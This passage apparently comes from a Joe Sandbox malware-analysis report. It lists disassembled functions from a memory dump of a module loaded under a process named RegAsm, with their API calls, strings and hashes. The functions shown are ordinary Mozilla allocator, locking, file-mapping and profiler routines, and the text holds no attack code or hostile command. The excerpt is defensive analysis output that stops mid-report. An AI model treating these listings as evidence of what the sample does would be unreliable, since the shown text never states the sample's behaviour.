GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC33592

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

Strings

kernel32.dll, xrefs: 6CC334EA
GetSystemTimePreciseAsFileTime, xrefs: 6CC33508

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ff96e90ec97a0c72975c3f0b5b8e4e55d8daf5a1710aa8b6562444c51d891652
Instruction ID: edc28577c8aea47a583d8feb27e1eaa829eea6e1ce6bde14b464af23201402fb
Opcode Fuzzy Hash: ff96e90ec97a0c72975c3f0b5b8e4e55d8daf5a1710aa8b6562444c51d891652
Instruction Fuzzy Hash: 4D318F79B00216AFDF04DFF9D9A8AAA77B5FB45304F140029E905A3760FB74A905CB64

Function 6CC34480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CC74843,?), ref: 6CC345F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CC74843,?), ref: 6CC3468A
free.MOZGLUE(?,?,?,?,?,?,6CC74843,?), ref: 6CC346C9
free.MOZGLUE(?), ref: 6CC346EF
free.MOZGLUE(?), ref: 6CC34712
free.MOZGLUE(?), ref: 6CC34735
free.MOZGLUE(?), ref: 6CC34758
free.MOZGLUE(?), ref: 6CC3477B
free.MOZGLUE(?), ref: 6CC3479E

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 7b37956dfa3fc138de62f9958c9f244c03cc508dae8da5b364b3fa484d6a3722
Instruction ID: ff3c0450668a1d5056512e62edd2afd3b279d8599230692782be0fb4514e6c8c
Opcode Fuzzy Hash: 7b37956dfa3fc138de62f9958c9f244c03cc508dae8da5b364b3fa484d6a3722
Instruction Fuzzy Hash: FBB1D671A015208FDB14DF2CE89476D7BB1AF42318F185669E81ADFB96F732D840CB92

Function 6CC9AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CC9AC52
CreateFileMappingW.KERNEL32 ref: 6CC9AC7D
GetSystemInfo.KERNEL32 ref: 6CC9AC98
MapViewOfFile.KERNEL32 ref: 6CC9ACB0
GetSystemInfo.KERNEL32 ref: 6CC9ACCD
MapViewOfFile.KERNEL32 ref: 6CC9AD05
UnmapViewOfFile.KERNEL32 ref: 6CC9AD1C
CloseHandle.KERNEL32 ref: 6CC9AD28
UnmapViewOfFile.KERNEL32 ref: 6CC9AD37
CloseHandle.KERNEL32 ref: 6CC9AD43
CloseHandle.KERNEL32 ref: 6CC9AD67

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 7955cbc67ea8520dd5f9505be140c231ceab7df21003ad080998791025faa6a6
Instruction ID: e3348bc33ade1096fecf8a16a0bfc9527c122150a00c4ea79ebfef773ae178c0
Opcode Fuzzy Hash: 7955cbc67ea8520dd5f9505be140c231ceab7df21003ad080998791025faa6a6
Instruction Fuzzy Hash: 1E3185B19047458FDB00EFBDD68926EBBF0FF85305F014A2DE98587261EB709458CB92

Function 6CC6F2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC6D9DB), ref: 6CC6F2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6CC6F2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6CC6F386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6CC6F347

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6CC6F3C8
free.MOZGLUE(00000000,00000000), ref: 6CC6F3F3
free.MOZGLUE(00000000,00000000), ref: 6CC6F3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6CC6F413

Strings

ntdll.dll, xrefs: 6CC6F2F0

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: 1b36c45d13637512dc3749a4ee89f67d10bbcd55863474dcad14c1aedf06b23c
Instruction ID: 94bfce5d39384644f6be0b7816c224f44c9d2e45e61e07760fa820e5d47107e9
Opcode Fuzzy Hash: 1b36c45d13637512dc3749a4ee89f67d10bbcd55863474dcad14c1aedf06b23c
Instruction Fuzzy Hash: A74126B5A002149FDB048F6AE9947AE77B4EF46358F20843DE81AA7F90FB31A445C785

Function 6CC96A10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CCBF618), ref: 6CC96A68
GetCurrentProcess.KERNEL32 ref: 6CC96A7D
GetCurrentProcess.KERNEL32 ref: 6CC96AA1
EnterCriticalSection.KERNEL32(6CCBF618), ref: 6CC96AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC96AE1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC96B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CC96B65
LeaveCriticalSection.KERNEL32(6CCBF618,?,?), ref: 6CC96B83

Strings

SymInitialize, xrefs: 6CC96BA3

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: SymInitialize
API String ID: 3103739362-3981310019
Opcode ID: 59d9bc632e86150e286768f657f78f95a5c9d0fd407a3e6b144fb7762d377376
Instruction ID: 392e6fb64e2771611a4212bde73488f4269b526a61560d15b78a86b7a4e0ca12
Opcode Fuzzy Hash: 59d9bc632e86150e286768f657f78f95a5c9d0fd407a3e6b144fb7762d377376
Instruction Fuzzy Hash: 3041B0746053859FDB00CFB8C888B9A7BB8AB46304F044079FD48DB692EBB09504CBA5

Function 6CC49620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CC49675
__Init_thread_footer.LIBCMT ref: 6CC49697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CC496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CC49707
__Init_thread_footer.LIBCMT ref: 6CC4971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CC49773

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CC497B7
FreeLibrary.KERNEL32 ref: 6CC497D0
FreeLibrary.KERNEL32 ref: 6CC497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CC49824

Strings

NtMapViewOfSection, xrefs: 6CC49701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CC49670
ntdll.dll, xrefs: 6CC496E3
MapViewOfFileNuma2, xrefs: 6CC497B1

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 375ecae539433f7f7cea4ae29875b971b86db83afa0741fd80b2b20a701fa365
Instruction ID: 0a6b52c396934239eb5382cd11bc346325642a2a766f28994c9e4afe120d67a2
Opcode Fuzzy Hash: 375ecae539433f7f7cea4ae29875b971b86db83afa0741fd80b2b20a701fa365
Instruction Fuzzy Hash: 1F41B1B87002159FDF00CFE9D9C5A9677B8EB89318F008169ED15A7B40F730E904CBA5

Function 6CC31E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBE784), ref: 6CC31EC1
LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC31EE1
EnterCriticalSection.KERNEL32(6CCBE744), ref: 6CC31F38
LeaveCriticalSection.KERNEL32(6CCBE744), ref: 6CC31F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CC31F83
LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC31FC0
EnterCriticalSection.KERNEL32(6CCBE784), ref: 6CC31FE2
LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC31FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC32019

Strings

MOZ_CRASH(), xrefs: 6CC32000

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: a8e5292d97d38529cc530a25ba1d5e297e7eff6e685b3af6487fa51d015deab8
Instruction ID: bd456f5023fca5b3950fc2b9c186538b2e9f57e5a177241b6ba9974f19da1abf
Opcode Fuzzy Hash: a8e5292d97d38529cc530a25ba1d5e297e7eff6e685b3af6487fa51d015deab8
Instruction Fuzzy Hash: E541C175B002258FDF009FE9D8D8B6A37B5EF4A748F140069F909A7741EB7598048BD9

Function 6CC95FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CC96009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CC96024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CC3EE51,?), ref: 6CC96046
OutputDebugStringA.KERNEL32(?,6CC3EE51,?), ref: 6CC96061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC96069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC96073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC96082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CCB148E), ref: 6CC96091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CC3EE51,00000000,?), ref: 6CC960BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC960C4

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 1c4ecad380a71adc1bab727fc8fc6dbdfbb1e15581c2204a0f7a149ec270915f
Instruction ID: 3e53671e8ef5929d5497ef3d81b90d9c2128a7ac96b1f4b1926f6fe6d3086454
Opcode Fuzzy Hash: 1c4ecad380a71adc1bab727fc8fc6dbdfbb1e15581c2204a0f7a149ec270915f
Instruction Fuzzy Hash: F521F4B1A002189FDF105F64DC88AAE7BB8FF45318F008428F81AD7680DB74A559CFE9

Function 6CC80000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC80039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC80041
GetCurrentThreadId.KERNEL32 ref: 6CC80075
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC80082
moz_xmalloc.MOZGLUE(00000048), ref: 6CC80090
free.MOZGLUE(?), ref: 6CC80104
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC8011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6CC8005B

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 44fda56f94a84bc78a2f28d8a827dcd1ec677aaf2bede1531f218c491d51a28f
Instruction ID: 22c0f6446ab873f43d50a64293b96aeef2e6e76e590fc671d4a1a890a38f3f90
Opcode Fuzzy Hash: 44fda56f94a84bc78a2f28d8a827dcd1ec677aaf2bede1531f218c491d51a28f
Instruction Fuzzy Hash: D44180796016549FCB10CFA5C880A9BBBF1FF49318F40451DE95A93B50EB31E815CFA5

Function 6CC47E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC47EA7
malloc.MOZGLUE(00000001), ref: 6CC47EB3

Part of subcall function 6CC4CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CC4CB49
Part of subcall function 6CC4CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CC4CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CC47EC4
mozalloc_abort.MOZGLUE(?), ref: 6CC47F19
malloc.MOZGLUE(?), ref: 6CC47F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC47F4D

Strings

d, xrefs: 6CC47F89

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2f887633605dacda3c39dff14492903448098281593e64e40e4ad912cf8322ef
Instruction ID: b889903a3ecdc4c8aa6a2d9b55165ef10a0482e4a8d708589b91b3302115cd16
Opcode Fuzzy Hash: 2f887633605dacda3c39dff14492903448098281593e64e40e4ad912cf8322ef
Instruction Fuzzy Hash: 55310861E0474897EB009BA8DC449FEB778EF96308F049369ED4957612FB31A9C8C390

Function 6CC43E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CC43EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CC43FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CC44006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CC440A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CC43CCC), ref: 6CC440AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CC43CCC), ref: 6CC440C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CC44134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CC43CCC), ref: 6CC44143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CC43CCC), ref: 6CC44157

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 14fd4fb397468fd9184bf2fffdb0c221c118ec1c83516fd763b5dbf68b263557
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 57A172B1A00215CFEB40CF69C880659B7F5FF88314F29C599D909AF752E772D856CBA0

Function 6CC32030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CC53F47,?,?,?,6CC53F47,6CC51A70,?), ref: 6CC3207F
memset.VCRUNTIME140(?,000000E5,6CC53F47,?,6CC53F47,6CC51A70,?), ref: 6CC320DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CC53F47,6CC51A70,?), ref: 6CC3211A
EnterCriticalSection.KERNEL32(6CCBE744,?,6CC53F47,6CC51A70,?), ref: 6CC32145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CC53F47,6CC51A70,?), ref: 6CC321BA
EnterCriticalSection.KERNEL32(6CCBE744,?,6CC53F47,6CC51A70,?), ref: 6CC321E0
LeaveCriticalSection.KERNEL32(6CCBE744,?,6CC53F47,6CC51A70,?), ref: 6CC32232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CC32253, 6CC32268
MOZ_CRASH(), xrefs: 6CC3227D

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: c76313d9b5fe5cbf03be54c1b3f779727829591991bc0595671f8275b7cc2475
Instruction ID: 204fc627109df70c3c88df9551e345408041ca825da1858674256c2b6f525715
Opcode Fuzzy Hash: c76313d9b5fe5cbf03be54c1b3f779727829591991bc0595671f8275b7cc2475
Instruction Fuzzy Hash: 9861D331F002268FCF04CAA9DDA9B6E76B1AF85314F294239E528A7A95F7719C00C7C5

Function 6CC348E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CC7483A,?), ref: 6CC34ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CC7483A,?), ref: 6CC34AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CC7483A,?), ref: 6CC34A82

Part of subcall function 6CC4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CC4CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CC7483A,?), ref: 6CC34A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CC7483A,?), ref: 6CC34A35

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CC7483A,?), ref: 6CC34A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CC7483A,?), ref: 6CC34AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CC7483A,?), ref: 6CC34B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CC7483A,?), ref: 6CC34B2C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 6891b6da4bcde1f6712743714a6eeca5b4cc3b6490a889f9630283d82afbf301
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: E0715BB19007069FC754CF69D580AAABBF5FF09308B10863ED15A9BB51F732E995CB80

Function 6CC89D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC88273), ref: 6CC89D65
free.MOZGLUE(6CC88273,?), ref: 6CC89D7C
free.MOZGLUE(?,?), ref: 6CC89D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC89E0F
free.MOZGLUE(6CC8946B,?,?), ref: 6CC89E24
free.MOZGLUE(?,?,?), ref: 6CC89E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CC89EC8
free.MOZGLUE(6CC8946B,?,?,?), ref: 6CC89EDF
free.MOZGLUE(?,?,?,?), ref: 6CC89EF5

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

